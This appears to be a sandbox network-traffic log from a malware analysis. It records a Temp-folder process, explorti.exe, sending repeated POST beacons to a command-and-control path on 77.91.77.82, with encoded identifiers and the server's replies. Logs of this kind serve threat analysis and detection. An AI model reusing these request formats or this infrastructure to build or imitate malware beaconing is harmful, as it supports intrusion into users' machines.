Jul 5, 2024 06:24:43.130928040 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:43.838635921 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.7	51580	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:43.958106995 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:44.676955938 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.7	51581	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:44.685623884 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:45.420315027 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.7	51582	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:45.534740925 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:46.251904964 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.7	51583	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:46.260179996 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:46.982322931 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.7	51584	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:47.096705914 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:47.806472063 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.7	51585	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:47.818629980 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:48.697151899 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.7	51586	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:48.816163063 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:49.517282009 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.7	51587	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:49.526823044 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:50.232561111 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.7	51588	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:50.349612951 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:51.087016106 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.7	51589	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:51.097440958 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:51.810302019 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.7	51590	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:51.924818993 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:52.644684076 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.7	51591	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:52.653036118 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:53.416436911 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.7	51592	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:53.536154032 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:54.250818014 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.7	51593	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:54.265398026 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:54.965725899 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.7	51594	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:55.081830978 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:55.778685093 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.7	51595	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:55.790317059 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:56.503429890 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.7	51596	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:56.633184910 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:57.333574057 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.7	51597	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:57.352323055 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:58.050803900 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.7	51598	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:58.177679062 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:58.885876894 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.7	51599	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:58.895647049 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:59.601689100 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.7	51600	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:59.722423077 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:25:00.440947056 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.7	51601	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:00.462855101 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
